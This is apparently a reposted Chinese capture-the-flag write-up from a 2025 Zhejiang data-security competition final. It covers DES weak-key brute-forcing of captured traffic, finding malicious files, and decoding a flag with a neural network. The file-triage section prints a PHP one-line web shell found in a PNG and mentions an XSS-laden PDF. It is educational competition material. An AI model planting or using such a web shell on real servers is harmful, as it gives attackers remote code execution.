2025浙江省信息通信业职业技能竞赛-数据安全管理员竞赛-决赛wp - 渗透测试中心
文章描述了一次数据安全挑战赛中的任务,包括利用弱密钥攻击解密消息以获取隐藏的flag、分析不同文件类型中的敏感信息或恶意代码,并通过特定规则排序生成最终的flag。此外,还涉及使用深度神经网络(DNN)模型进行数据加密处理的方法。 2025-9-13 15:13:0 Author: www.cnblogs.com(查看原文) 阅读量:6 收藏

通信证-签到

图片
flag{data_security_is_very_interesting}

数据加密与解密-KeekKey

题目描述:在数据安全领域,弱密钥和不安全的加密方式如同数字世界的 "隐形杀手",可能引发严重安全漏洞,威胁个人、企业甚至国家网络安全。如金融交易系统使用弱密钥,会被黑客暴力破解篡改数据;电商平台若加密模式缺乏随机化,易导致用户密码泄露。本次挑战赛中,你将作为网络安全分析师,剖析存在风险的加密通信协议,检查密钥机制与加密模式,寻找安全漏洞和隐藏 Flag

UPD流量根据题目描述可以知道弱密钥
如果有经验可以想到DES弱密钥攻击
图片

原理:

  1. 提取加密消息:从pcapng网络抓包文件中提取潜在的加密消息
  2. DES弱密钥攻击:使用已知的DES弱密钥和半弱密钥尝试解密消息
  3. 模式匹配:寻找解密后可能包含flag的明文
因为复现嘛上网搜索相关资料找到一篇文章
https://noob-atbash.github.io/CTF-writeups/cyberwar/crypto/chal-5.html

这篇有弱密钥 参考这个 常见的弱密钥 进行爆破 写个脚本

import subprocess
import re
import json
from Crypto.Cipher import DES
from base64 import b64decode

def extract_msgs(pcap):
    cmd = ['tshark', '-r', pcap, '-T', 'fields', '-e', 'data']
    res = subprocess.run(cmd, capture_output=True, text=True).stdout.splitlines()
    msgs = []
    for line in res:
        try:
            s = bytes.fromhex(line).decode(errors='ignore')
            for m in re.findall(r'\{.*?\}', s, re.DOTALL):
                try:
                    obj = json.loads(m)
                    if 'msg' in obj: msgs.append(obj['msg'])
                except:
                    pass
        except:
            pass
    with open('output.txt', 'w') as f:
        f.write('\n'.join(msgs))
    return msgs


WEAK_KEYS = [
    b'\x01\x01\x01\x01\x01\x01\x01\x01',
    b'\x1F\x1F\x1F\x1F\x0E\x0E\x0E\x0E',
    b'\xE0\xE0\xE0\xE0\xF1\xF1\xF1\xF1',
    b'\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF'
]

SEMI_WEAK_KEYS = [
    b'\x01\xFE\x01\xFE\x01\xFE\x01\xFE',
    b'\xFE\x01\xFE\x01\xFE\x01\xFE\x01',
    b'\x1F\xE0\x1F\xE0\x0E\xF1\x0E\xF1',
    b'\xE0\x1F\xE0\x1F\xF1\x0E\xF1\x0E',
    b'\x01\xE0\x01\xE0\x01\xF1\x01\xF1',
    b'\xE0\x01\xE0\x01\xF1\x01\xF1\x01',
    b'\x1F\xFE\x1F\xFE\x0E\xFE\x0E\xFE',
    b'\xFE\x1F\xFE\x1F\xFE\x0E\xFE\x0E',
    b'\x01\x1F\x01\x1F\x01\x0E\x01\x0E',
    b'\x1F\x01\x1F\x01\x0E\x01\x0E\x01',
    b'\xE0\xFE\xE0\xFE\xF1\xFE\xF1\xFE',
    b'\xFE\xE0\xFE\xE0\xFE\xF1\xFE\xF1'
]

KEYS = WEAK_KEYS + SEMI_WEAK_KEYS
PATTERN = re.compile(b'flag\{.*?\}', re.IGNORECASE)


def attack():
    msgs = extract_msgs("capture.pcapng")
    print(f"提取 {len(msgs)} 条消息,开始攻击...")
    for i, msg in enumerate(msgs):
        try:
            ct = b64decode(msg)
            for key in KEYS:
                pt = DES.new(key, DES.MODE_ECB).decrypt(ct)
                if PATTERN.search(pt):
                    print(f"\n找到匹配 (消息 {i + 1}):")
                    print(f"密钥: {key.hex()}")
                    print(f"明文: {pt.decode(errors='replace')}")
        except:
            pass


if __name__ == "__main__":
    attack()
FLAG HEADER:flag{9adee8d8d9db40fc99e8366bf2bd474d}
图片
方法2手动提取也可以:
图片
图片
保存1.txt 写个脚本,对每条消息进行base64解码
使用所有弱密钥和半弱密钥尝试解密
import re, json
msgs = []
with open("1.txt") as f:
    for line in f:
        text = bytes.fromhex(line.strip()).decode("utf-8", "ignore")
        for item in re.findall(r"\{.*?\}", text):
            if item.startswith("{") and item.endswith("}") and "\"" in item:  # 粗筛掉非法 JSON
                obj = json.loads(item)
                if "msg" in obj:
                    msgs.append(obj["msg"])

with open("output.txt", "w") as f:
    f.write("\n".join(msgs))

print(f"完成,提取 {len(msgs)} 条消息,已保存到 output.txt")
图片
6cc86cfc93e923a0eb9838ce96b2e528.png
flag{9adee8d8d9db40fc99e8366bf2bd474d}

数据处理-MISC-大浪淘金方显英雄本色

描述:1.每类文件有五个包含敏感信息泄露或者恶意代码

2.找出来排序 优先级txt>png>pdf  大写>小写>数字 0-9  a-z 

3.排列格式xx.xx,yy.yy,zz.zz,结果md5加密 加上flag。

首先拿到题目一堆文件 大概分析一下 

图片
图片
图片

先找txt因为比较好找

图片
图片
image.png
图片
图片
png的话主要是第一个不好找,找到第一个就好找了
图片
发现png是一句话木马直接用技巧
<?php @eval($_POST['cmd']); ?>

直接使用kali grep过滤  还可以使用D盾查杀

图片
图片

pdf当时想到html打开

但是没有一个查看所有没有找到  还是不够细心

发现是XSS漏洞

ok全部找了按规则排序就行(这里容易出错)

图片
ODpT3N.txt,Spiy1B.txt,48YuFM.txt,5JfXXX.txt,6mmE9I.txt,EFCC3t.png,HRp1jjgglR.png,wdCr8GF5R.png,19nNx8m.png,82oprl.png,OGoyOG.pdf,bVKINl.pdf,hnPRx1.pdf,mIR13t.pdf,rSG2pw.pdf
图片
不确定是正确答案,仅提供思路
(当时想到xss比赛马上结束了,没提交)

flag{6c6a952ef4bbd8b0de734a313c5dd0c4}

数据加密处理-DNN

大模型题目描述没存,这个线下没有库做不了,复现的话gpt可以出

import torch
from torch import nn
# 模型结构需与训练时一致,先定义再load
class DNN(nn.Module):
    def __init__(self):
        super().__init__()
        self.fc1 = nn.Linear(22, 22)
    def forward(self, x):
        return self.fc1(x)
# 题面里的字符全集(顺序即特征的one-hot位置)
ans = 'fla8kc93}d50y{6e7x1gi2'
# 构造与训练一致的“平顶+尖峰”特征(22维:全0.3,当前位置+0.4)
feature_dict = {}
for i in range(len(ans)):
    v = [0.3] * len(ans)
    v[i] += 0.4
    feature_dict[ans[i]] = v
# 加载模型(若来源可信,这样加载即可;只在CPU上算)
dnn = torch.load('./dnn.pt', map_location='cpu')
dnn.eval()
# 先求出“当前字符 -> 下一个字符”的映射表
mapping = {}
with torch.no_grad():
    for ch in ans:
        x = torch.tensor(feature_dict[ch], dtype=torch.float).unsqueeze(0)
        y = dnn(x)                     # 22维输出,对应ans里22个候选
        nxt = ans[torch.argmax(y).item()]
        mapping[ch] = nxt
# 按链从 'f' 走到 '}'(包含)
flag = ['f']
while flag[-1] != '}':
    flag.append(mapping[flag[-1]])
print(''.join(flag))  # => flag{ey61x93k52ci870d}

转载参考连接地址:

 https://mp.weixin.qq.com/s/78f1-Iw3FpKOOHNDprVUWQ


文章来源: https://www.cnblogs.com/backlion/p/19089843
如有侵权请联系:admin#unsafe.sh